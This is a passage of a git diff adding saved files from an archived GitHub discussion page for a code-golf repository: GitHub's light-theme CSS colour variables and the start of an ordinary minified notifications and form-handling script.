rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 